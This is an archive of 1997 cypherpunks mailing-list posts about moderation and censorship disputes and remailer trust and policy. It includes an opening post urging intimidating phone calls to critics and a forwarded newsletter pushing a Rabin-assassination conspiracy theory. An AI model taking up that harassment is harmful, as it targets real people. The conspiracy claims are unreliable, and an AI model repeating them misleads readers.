> > Well, just who is cutting you off and for what reason?
> > And what is their telephone number?
> 
> At issue here are a number of complicated high-level administrative
> issues.  It's not just that someone is trying to pull the plug on me.
> I've been asked by someone who is not the one getting the phone calls
> or exerting anti-mail2news pressure if I would stop using MIT news
> servers.  The reason is that that person needs to maintain good
> relations with the people who are being harassed over the fogery.
> 

Just who is getting harassed over this.  All you need to do is get me
the names and phone numbers, and we will eliminate this problem
immediately. 

> I don't really want to go into details.  

No, do not do it in this list, but respond by a private response
to this address.  This is a place you can trust.

The point is that this
> situation is a lot more subtle than whether the pro-mail2news people
> can "out-harrass" the people complaining about forgeries.  Therefore,
> I would sincerely appreciate it if you did not try to make any phone
> calls or do anything to use up any more of these people's time.

Well, it sounds like you are being a chicken shit now.  The whole
world runs on the telephone, and it all runs by voice, and not by
text.

  I
> fully intend to keep mail2news running, and am just trying to get more
> news servers (after having lost one) to maintain reliability and
> strengthen my position.
> 
> > Just what is your definition of "abuse?"
> 
> This got answered in a separate message.
> 

yes it did.  But why the fuck do you not want to find out who did
this to you?  I mean, Jesus fucking CHRIST!  Let's get some fucking
balls here.  You can not let that mothetfucker get away with that!

All you need is telephone numbers for some VERY nice phone calls.
Learn to use your voice and not just your keyboard.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks-unedited
Date: Sat, 8 Feb 1997 08:12:07 -0800 (PST)
Subject: No Subject
Message-ID: <199702081612.IAA21561@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Sears <jsears@lsbsdi2.lightspeed.net>
Date: Tue, 11 Feb 1997 05:55:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: hello
Message-ID: <199702111355.FAA18854@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


unscribe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 05:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: META: Censorship is Going Way too Far
Message-ID: <199702111356.FAA18896@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Fellow Cypherpunks (of the virtual community, even if not part of any
particular version of the list(s)),


I am about to drive over the Santa Cruz mountains for today's physical
meeting at Stanford, and made my last check of the Singapore archive site
to see if my last several messages to the CP list have appeared. (The
Singapore site archives the main list every four hours; the latest update
is 08:15 PST, local time.)

They have _not_ appeared, on either of the two lists, the main list and
filtered list. I don't know if they have appeared on the "unfiltered" list,
as I don't have access to an archive site for that, and don't subscribe to
it.  Some of these articles are now more than 18 hours old.

(I scanned the archive site carefully and did not see any of my articles.
If I somehow missed them (all four?!), I apologize to the Moderator and
will make an appointment with my eye doctor.)

Further, messages dated _much_ later in time are now on the Singapore site,
meaning they were "approved." (The latest such message I see is from J.
Blatz, and is dated 2/8/97, 02:58 a.m., EST, which is fully 10 hours after
the first of my messages which never appeared on either the main list or
the flames list.)

My articles are dated:

* 2/7/97, 1:46 p.m. PST

* 2/7/97, 1:59 p.m., PST

* 2/7/97, 3:03 p.m., PST

* 2/7/97, 9:46 p.m., PST

I would normally give the message names here, but I suspect that even
mention of the message titles would cause _this_ message to be filtered
into the black hole  list. So, by avoiding even mention of the message
titles, I should be safe. Nothing in this message can be considered flamish
(beyond normal criticism) or libelous.

(Many articles with dates later than these have already appeared on the
main list, and some have already appeared on the Flames list. Why have none
of my articles gone through as of this morning?)

The subjects of my articles deal with the claims made by "Against
Moderation" and Vulis that certain articles were filtered from the stream
of articles without appearing on either the main list or the flames list,
and with no mention by the Moderator of this significant change to the
moderation policies.

I surmise that my articles are similarly vanishing into a black hole,
presumably because I have questioned the policies here. (Possibly my
articles have been side-tracked for further review, or for review by a
certain company's legal staff, or whatever. If so, this should be explained
to the main list. And the implications of this, if it is happening, should
be discussed on the main list.)

By the way, I will deliberately make no mention of the details of my
articles, or of those by Against Moderation, as I also surmise that any
articles dealing with a certain product by a certain company will be
filtered out completely.

(I carefully did not repeat the claims made against one of these products
in my articles, so there is no way under the sun I can be charged in any
court with "libel.")

To paraphrase the Detweiler of a couple of years ago, "I am quite shocked
by this situation." It is one thing to filter out posts which contain
infantile, barnyard taunts and insults, it is quite another to filter out
_content_.

And it is even worse to not pass on these filtered comments to the "flames"
list, which was putatively set up to contain such comments. Worse still
that the list as a whole is not being told of this policy, and that posts
which mention it are not going out.

(There has been some discussion of articles not going out, such as in Igor
Chudov's recent articles, but I surmise from his article that Igor is
unaware of the filtering I'm talking about here. I am copying Igor on this
message, to ensure he knows at least part of what is going on here.)

There is no justification in any of the stated moderation goals for
blocking articles such as mine, or this one.

As my posts yesterday did not contain flames or insults (beyond normal
minor turns of phrase some might not like, just as _this_ post contains
mildly flamish comments if one is so inclined to see _any_ criticism as
flamish), they should have appeared on the main list. They have not, so
far, even though articles generated many hours later have already appeared
on the main list.

And, as of minutes ago, they have not appeared on the Flames list, even if
the Moderator decided they were flamish. (Even if _one_ was, arguably, not
all of them were.)

So, we are increasingly in a situation where:

a. the moderation policies appear to be changing on a daily basis

b. articles which are not even flamish are being dumped

c. some of these dumped articles are not even appearing on the "Flames" list

d. the appearance of a conflict of interest is increasing

e. discussion is being squelched

I am cc:ing this message to a handful of Cypherpunks to ensure that it gets
some propagation before today's meeting.

I find it very sad that things have come to this.


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl8.crl.com>
Date: Sat, 8 Feb 1997 10:27:47 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: MODERATION
Message-ID: <199702081827.KAA00722@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

I'm ending my participation in the moderation of the list.  It 
would have been an interesting experiment if list members had 
been open minded enough to give it a good faith effort.  Instead,
those who weren't even willing to give another approach a try, 
set out to sabotage it and destroy any possibility of a meaningful 
test of the concept.  I see no reason to prolong the agony.

I've asked John to take me out of the loop as soon as possible.
If he can't get that done right away, I'll continue to moderate
in some capacity so that list members aren't cut off.  However,
I'm going to take a break today to help a friend move into her
apartment.  There won't be any messages forwarded for the next
24 hours or so.  Hopefully, John will have things switched over
by that then.  If not, I shove whatever is in the queue on down 
the line.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 8 Feb 1997 07:56:02 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: censorship and headers
Message-ID: <199702081556.HAA20010@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    the "message" example which follows is obviously a message which 
    should have been destinated for owner-cypherpunks-flame.  there is 
    absolutely no indication of the differentation and the header shows:

        Sender: owner-cypherpunks@toad.com

    when it should have shown:

        Sender: owner-cypherpunks-edited@toad.com

    let's put it this way, if cp is to be censored, might as well do the 
    job correctly as this message was dumped into the main list.  

    regardless, censoring what is supposed to be the free speech 
    defenders of the online world is a poor example of our toleration 
    for differing viewpoints, regardless of their alledged stupidity or 
    off-topic value, or lack of value.  So far, cypherpunks is showing 
    less tolerance for freedom of speech that the United State Supreme 
    Court. You all know something I dont?  or do I need to start 
    cleaning and oiling real soon?

    --attila

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780
+	for <attila@primenet.com>; Fri, 7 Feb 1997 05:23:55 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from
+sirius.infonex.com (root@sirius.infonex.com [206.170.114.2]) by
+toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997
+04:19:47 -0800 (PST) Received: from mail.infonex.net
+(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com
+(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks@toad.com; Fri, 7
+Feb 1997 04:19:33 -0800 (PST) Message-Id:
+<199702071219.EAA26850@sirius.infonex.com> Date: Friday, 07 Feb 97
+07:19:25 EST
+To: cypherpunks@toad.com
+From: winsock@rigel.cyberpass.net (WinSock Remailer)
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+X-Comments:    REOP-L@cornell.edu <Remailer Operator's Network>
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+X-Remailer-Setup: Maximum Message Size -- None
+X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3
+X-Remailer-Setup: News Posting DISABLED
+X-Remailer-Setup: Subject Header KILLED
+X-Remailer-Setup: Logging OFF
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+Subject: Re: Sphere packings
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: e2bae6a70f8b97f156939d711ba124ba

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 11 Feb 1997 05:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer-operators DEA agents?
Message-ID: <199702111356.FAA18897@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy the C2Net Censor tossed the following question to flames:

Secret Squirrel <nobody@squirrel.owl.de> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > c.musselman@internetmci.com (Charley Musselman) writes:
> > > C'punks --
> > >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > > and suggested that he use an anonymous remailer to post to the group,
> > > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > > anyone know the answer?  Specifically, how can we choose a trusted
> > > remailer?
> >
> > Even if the feds are not directtly involved, the so-called "cypher punk"
> > remailers are run by people who should not be trusted.  Check out their
> > remailer-operators list: it's full of announcements that some specific
> > person posted something via the remailer that the operator didn't like.
>
> Examples, please?

Plenty. There was a whole thread about the operator of the defunct lead
remailer disclosing his users' identities. Here's a recent one:

]Received: from get.wired.com (HELO wired.com) (204.62.131.5)
]  by anon.lcs.mit.edu with SMTP; 6 Feb 1997 23:37:35 -0000
]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id PAA09050; Thu, 6 Feb 1997 15:37:34 -0800 (PST)
]Message-Id: <3.0.32.19970206160603.0086acb0@get.hotwired.com>
]X-Sender: toxic@get.hotwired.com
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Thu, 06 Feb 1997 16:06:04 -0800
]To: remailer-operators@anon.lcs.mit.edu
]From: Jeff Burchell <toxic@hotwired.com>
]Subject: Commercial SPAM from ClaritaInc@aol.com
]Mime-Version: 1.0
]Content-Type: text/plain; charset="us-ascii"
]
]
]Tofu trapped a bunch of shit coming from ClaritaInc@aol.com.  They're
]posting to usenet, advertising things for sale (Including a $10 pamphlet
]explaining how to send anonymous internet email, and the standard
]make.money.fast chainletter scheme)
]
]I've source blocked them, I suggest you do the same.
]
]-Jeff

Jeff also said the following, which seems to contradict the above:

]Delivered-To: remailer-operators@anon.lcs.mit.edu
]Received: from get.wired.com (HELO wired.com) (204.62.131.5)
]  by anon.lcs.mit.edu with SMTP; 7 Feb 1997 01:17:48 -0000
]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id RAA26127; Thu, 6 Feb 1997 17:17:47 -0800 (PST)
]Message-Id: <3.0.32.19970206174616.0086c8e0@get.hotwired.com>
]X-Sender: toxic@get.hotwired.com
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Thu, 06 Feb 1997 17:46:16 -0800
]To: remailer-operators@anon.lcs.mit.edu
]From: Jeff Burchell <toxic@hotwired.com>
]Subject: Useage Policy.
]Mime-Version: 1.0
]Content-Type: text/plain; charset="iso-8859-1"
]Content-Transfer-Encoding: quoted-printable
]
]
]I'm in the process of setting up an autoresponder on the
]abuse@mailmasher.com address.  I'd appreciate people's feedback to this
]autoresponder message, and the policies that it describes...
]
]
]Hi.  This is in regards to a letter you sent to abuse@mailmasher.com.  I
]hate autoresponders too, but I=92ve found that this is a special case and is
]probably warranted.
]I=92ve been running anonymous services for a couple of years now, and have
]answered thousands of pieces of email regarding MailMasher users.  Please
]take my word on this one, you really need to at least skim the rest of this
]message.
]
]I will read your email, I promise.  However, if your email can be answered
]by something that is contained in THIS message, I won=92t respond to it.
]Sorry.  I run MailMasher as sort of a hobby, while holding down a dayjob
]and I really don=92t have time to answer all mail personally.
]
]And now on to the important stuff=85
]
]First, the answer to the most frequently asked MailMasher question=85  If a
]user of the MailMasher is Harassing or otherwise bothering you,  it can be
]stopped.  Send a blank message to blockme@mailmasher.com.  Your email
]address will be added to a list of addresses that MailMasher will refuse to
]mail to, and you=92ll never get anything from here again.
]
]MailMasher is an anonymous service.  This means that even I don=92t know who
]is using it.  Any internet user can use a web interface to create an
]anonymous MailMasher email account.  I don=92t ask them who they are, and my
]machine doesn=92t keeps logs that could be used to identify users.  So
]please, don=92t ask me to identify a user.  I can=92t do it.=20
]
]I also don=92t filter anything for content.  Several years ago, in what has
]now come to be known as the Prodigy case (Stratton-Oakmont & Porush v.
]Prodigy.  Details at
]http://www.eff.org/pub/Legal/Cases/Stratton_Oakmont_Porush_v_Prodigy )   A
]legal standard was set.  Basically, if a service provider deletes posts,
]intercepts emails or otherwise tries to exercise editorial control over any
]of its users, then the service provider can be held responsible for ALL of
]the content that goes through the service.  MailMasher transfers around
]10,000 messages a day.  It is impossible for me to monitor traffic like
]that.  Therefore, I do not even know what most MailMasher users are using
]their accounts for.  It really isn=92t any of my business, and because I
]don=92t make it my business, legally, I can=92t be held responsible for the
]actions of MailMasher users.
]
]I also don=92t delete accounts.  Because, when I delete an account, the user
]can always come right back and create another one with a different address.
] If someone is going to be behaving badly on the Internet, I for one would
]prefer that they always do it from the same email address, so I can just
]add them to my killfile or email filters.
]
]So, to summarize:
]
]1.  I intentionally have made it impossible for anyone, including myself to
]determine the identities of MailMasher users.
]2.  I will not under any circumstances monitor a user or delete an account.
]3.  I will make a good faith effort to keep you from being bothered by
]MailMasher users,  through the use of a destination block filter.
]4.  I neither condone nor condemn any action taken by any MailMasher user,
]either in conjunction with their MailMasher use or not.
]
]So=85 you ask,  Why would I want to run a service that lets the spammers, an=
]d
]the porn freaks, and the warez kiddies do their thing?  The answer is
]simple: because it also allows for much much more.  A MailMasher user can
]communicate without repercussions to people all over the world.  I have
]received many thank-yous from users sometimes explaining what they used my
]service for.  There are people in certain countries who have a very
]legitimate fear of speaking out, who use this and other anonymous services
]to communicate with the U.S.  Countless people have used anonymous services
]to very openly discuss items that are considered secret to certain members
]of the Church of Scientology.  Victims of all sorts of abuse can speak
]truly anonymously (sometimes for the first time).  Even abusers can speak
]freely, which helps with recovery.
]It is for these examples that I run this service.  I think a little noise
]and junk is a small price to pay for all of this.  You take the good with
]the bad.
]
]This is free speech in one of its most raw forms, staring you in the face.
]You may not like it; It may offend you; It might even encourage illegal
]behavior, but it is speech, and in the United States, it is protected by
]the Constitution. =20
]
]Thank you for your time.  If you=92d like to contact me again, without
]tripping this autoresponder, send mail to remailer-admin@mailmasher.com.
]
]-Jeff Burchell,  MailMasher Admin
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 11 Feb 1997 06:11:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702111411.GAA19244@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Vladimir Z. Nuri" <vznuri@netcom.com> writes:

> >(It is true that Vulis uses the phrase "Limey faggots," in reference to
> >beer-serving habits, but he does not directly insult any list members with
> >this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
> >be blocked from their usual characterizations of Congresscritters and NSA
> >stooges.)
>
> TCM defending Vulis, I think I've died and am in some strange
> dreamworld. hehehehe

I actually liked most of what TCM wrote (even when not crypto-relevant)
and find myself missing his essays.  He was wrong to start flaming me for
no reason and to attribute to me stuff I never said; but we all make
mistakes and can get over them.

Saying bullshit about people (like Tim saying bullshit about me and
me saying bullshit about people) is one thing; it can be fun, or it
can be annoying when taken to extremes; but I've never sought
to silence Tim, and have no hard evidence that he tried to silence
anyone.

P.S. CMEPTb COBKAM!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 11 Feb 1997 06:11:34 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: META: Censorship is Going Way too Far
Message-ID: <199702111411.GAA19308@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007800af225b8581dd@[207.167.93.63]>, on 02/08/97 at 11:22 AM,
   "Timothy C. May" <tcmay@got.net> said:


>They have _not_ appeared, on either of the two lists, the main list and
>filtered list. I don't know if they have appeared on the "unfiltered" list, as
>I don't have access to an archive site for that, and don't subscribe to it. 
>Some of these articles are now more than 18 hours old.

Hi Tim,

All 4 of your post made it to the unfiltered list.

I don't know what made it to the moderated/flam list as I had switched to the
unmoderated list yesterday morning.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: You're throwing it all out the Windows!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 11 Feb 1997 05:56:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702111356.FAA18918@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos <mpd@netcom.com> writes:

> SANDY SANDFORT sez:
>
> > On Fri, 7 Feb 1997, Mike Duvos wrote:
>
> > > ...Messages apparently do not get moderated in the order in
> > > which they are received...
>
> > All messages are filtered and posted in the order in which I
> > receive them.
>
> That's all very nice, but I should point out that I have not yet
> seen my message to which you are responding on the filtered list.

Also not "all" messages are posted.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Tue, 11 Feb 1997 06:12:27 -0800 (PST)
Subject: The Konformist - The Chamish Files Continued
Message-ID: <199702111412.GAA19470@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

Subj:  Rabin story
Date:  Tue, 04 Feb, 1997 09:43 AM EDT
From:  chamish@netmedia.net.il
>                           *  *  * 
>October saw the blatant inconsistencies between the official version of
events surrounding the Rabin assassination and the truth clash publicly.
Early in the month, Maariv's weekend magazine published a remarkable
collection of testimony from seven policemen and security agents on duty at
the assassination scene that fueled suspicions of a conspiracy from many
formerly skeptical readers. On October 18, the author of this piece was the
victim of an eight minute hatchet job on Israel Channel Two Television's
weekend magazine show that was shown again the next night. Despite the
blatant attempt at character assassination, as Yediot Ahronot reported the
Sunday following, I succeeded in igniting renewed national interest in the
possibility that Rabin's murder was not as officially reported.
>
>First the Maariv report. We begin with the issue of whether the alleged
assassin, Yigal Amir's bullets were real or not. It is not denied by the
Shamgar Commission that "Blanks, blanks," was yelled by someone while Amir's
shot his weapon. The conclusion is that Amir yelled it to confuse Rabin's
bodyguards, a contention he denies. It turns out that more than just
"Blanks, blanks" was shouted.
>
>S.G.- Shabak Agent Under Command of Rabin's bodyguard Yoram Rubin- "I heard
very clearly, `They're not real, they're not real,' during the shooting."
>A.A.- Personal Security Head of the Shabak- "I heard one shot and someone
shouting,`Not real, not real.' I can't say with certainty if it came from
the shooter."
>Avi Yahav, Tel Aviv policeman- "The shooter yelled, `They're caps, nothing,
caps.'"
>
>None of the police or security men heard the famous `Srak,srak,'
(blanks,blanks) shout. The scene they describe is of a number of people
shouting different phrases. What united the shouters was their belief that
blank bullets were being shot.
>
>How many bullets were shot?
>
>A.H.-Agent assigned to Yoram Rubin's staff- "I heard one shot, followed by
another."
>Maariv to A.A.- "Are you certain you only heard one shot?" A.A.-
"Absolutely certain."
>Avi Yahav- "I heard a number of shots. I'm not sure how many."
>S.G.- "As I approached the car, I heard three shots."
>
>The inability of security and police personnel trained to testify in court
to agree on the number of shots is puzzling but on one issue all agree; none
thought Rabin was hurt.
>
>Y.S.- Shabak Head of Security for the Tel Aviv rally- "I heard Rabin was
wounded only when I arrived at Ichilov Hospital some minutes later."
>S.G.- I didn't hear any cry of pain from the Prime Minister and didn't see
any signs of blood whatsoever...It wasn't until some time after that I was
told that Yoram Rubin was hurt."
>A.A.- "Only after a number of inquiries as to whether Rabin was hurt, did I
drive in shock to Ichilov."
>
>None of the security or police personnel detected any sign that Rabin was
hurt, a quite inexplicable fact when one considers that he was not merely
hurt but supposedly shot in the lung and spleen by two hollowpoint 9 mm
bullets. However, the "amateur" film of the assassination exonerates the
witnesses. After the film shows the blast from Amir's gun, Rabin is not
pushed forward by the pressure of the bullet, nor does he evince pain.
Rather, he keeps on walking and turns his head quickly to his left.
>
>Before examining the next issue of the Maariv article, let us skip to the
report on my research on Channel Two. Despite the snow job, one of my points
came across loud and clear and went a long way to keeping my name from being
totally besmirched. I showed the assassination film and pointed out that as
Rabin entered his car, the opposite side passenger door is slammed shut. I
said, the only way the door could be shut was if someone was inside the car
shutting it. This would be in contradiction of the Shamgar report which has
Rabin and Rubin entering an empty car. Channel Two saved my dignity by
saying the door was shut by the vibrations caused by Rabin's entrance.
Throughout the country, people opened their back car doors and started
shaking their vehicles. Nothing could make their doors shut. Further,
Rabin's door was armoured and weighed several hundred more pounds than the
average car door. Add to the facts that the open front door of Rabin's car
did not shut with the back, nor is any shaking of the vehicle in evidence on
the film and you have someone, perhaps the real murderer, waiting for Rabin
inside the car.
>
>Now the testimony of Yoram Rubin, Rabin's head of personal security. On
November 8, 1995 he was quoted as saying in the New York Times that Rabin's
last words to him in the car were that he was hurt but not seriously. Let's
look what he told the police on the night of the murder and later testified
to the Shamgar Commission and at Yigal Amir's trial.
>
>Rubin to the Police from 1:07 AM, Nov. 5, 1995:"I lifted the prime minister
and pushed him into the car."
>To the Shamgar Commission:"He (Rabin) helped me get up. That is to say, we
worked together...We jumped, really jumped. I'm surprised, in retrospect,
that a man his age could jump like that." 
>At Amir's trial: "I grabbed him by his shoulders and asked him, `Yitzhak,
do you hear me, only me?"  In this version Rabin did not answer at all. In
previous versions he said he wasn't hurt badly or actually helped Rubin to
his feet.
>
>Perhaps the most confusing piece of testimony concerns the critical moments
when he enters the car with Rabin. The assassination film shows the opposite
back passenger door being closed from the inside and the other back door
being pushed closed from the outside. Yet Rubin testifies,"We fell onto the
seat together and I slipped between the front and back seat. His legs and
mine were dangling outside as I yelled to the driver,`Get out of here.' He
started driving and I lifted his (Rabin's) and my legs inside and closed the
door. This all took 2-3 seconds."
>
>A most curious incident occurs on the way to Ichilov Hospital, normally
less than a minute's drive from the supposed murder site. The trip took from
9:45 to 9:53. With a minute and a half driving time to go, Rabin's driver
Menachem Damti picks up a policeman, Pinchas Terem, to help direct him to
the hospital. Damti, an experienced driver needed no help in finding Ichilov
but even that isn't the main point. With the prime minister dying beside
him, the altruistic Yoram Rubin says to the new passenger, "I'm wounded.
Bandage me." As for Rabin, we can only guess he didn't care that his wounds
needed much more urgent attention. Terem completed his bizarre testimony by
noting that Damti did not notify Ichilov by radio that he was coming and
thus the hospital staff was totally unprepared for Rabin's arrival.
>
>One conclusion of many that can be reached from the testimony of all the
witnesses is that Rabin was unhurt by Amir's blank bullets and was shot
inside the car. Rubin took a harmless arm wound to cover his role in the
event and Damti picked up a policeman as a witness in case of future
disbelief.
>
>If this scenario or something more insidious is not to be given credence,
all the contradictory testimony will have to properly sorted out at an
honest commission of inquiry. And this hypothetical commission will have to
answer how the back passenger door of Rabin's car really closed as he
entered the vehicle.
--------------------------------------------
Sent by Barry Chamish - Israeli journalist.
Phone/Fax : (972)-2-9914936
E-Mail    : chamish@netmedia.net.il
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I Came
Closest To Predicting The Apocalypse, And All I Got Was 
This Crummy T-Shirt."  You will also receive a free one 
year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:11:53 -0800 (PST)
To: Alan Olsen <das@razor.engr.sgi.com>
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702111411.GAA19372@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have no idea why I received the below message.  I don't know any of the
people in it, and I don't care about the issue.

----------
> From: Alan Olsen <alan@ctrl-alt-del.com>
> To: Anil Das <das@razor.engr.sgi.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Enlightened commentary on Netizen.
> Date: Saturday, February 08, 1997 10:55 AM
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 08:41 PM 2/6/97 -0800, Anil Das wrote:
> 
> >    However, the question has to be asked, why the fuck should we non US
> citizens go and buy
> >    cryptographic software that is deliberately coded to allow the US
> government to read our mail? 
> 
> You shouldn't.
> 
> Maybe someone should print up a batch of "Voyeur Enabled" stickers for
all
> the GAKed products  (or should that be KRAP products, since it is the Key
> Recovery Alliance, but that is redundant) we will be seeing at our local
> software stores.
> 
> Sometimes I think the reason for all this snake oil we have been seeing
is
> the Feds need it for extra lubricant so they don't chafe themselves while
> getting off on reading our mail.
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
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> 3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6
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> =Prg6
> -----END PGP SIGNATURE-----
> 
> ---
> |            "Mi Tio es infermo, pero la carretera es verde!"           
|
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:        
|
> | mankind free in one-key-steganography-privacy!"  | Ignore the man     
|
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the
keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:12:09 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702111412.GAA19413@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't know what you're talking about.  Who is "cypherpunks," and who are
you?  Please don't answer...I'm just trying to figure out how I started
getting these wierd e-mails from people I never heard about discussing
something I never cared about.  

I truly want you to have a great life...but please leave me out of it.

----------
> From: Mark M. <markm@voicenet.com>
> To: cypherpunks@toad.com
> Subject: Re: anonymous remailers
> Date: Saturday, February 08, 1997 11:11 AM
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 8 Feb 1997, Jeremiah A Blatz wrote:
> 
> > Ummm, if you run your own remailer, and don't get lots of people to
> > use it, then traffic analysis will reveal that you are the sender
> > quite quickly. It will pretty much make everything in the chain before
> > your remiler useless. If you send your message through remailers a, b,
> > c, and d like this:
> > 
> > you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen
> > 
> > and only you use c, then your effective chain is:
> > 
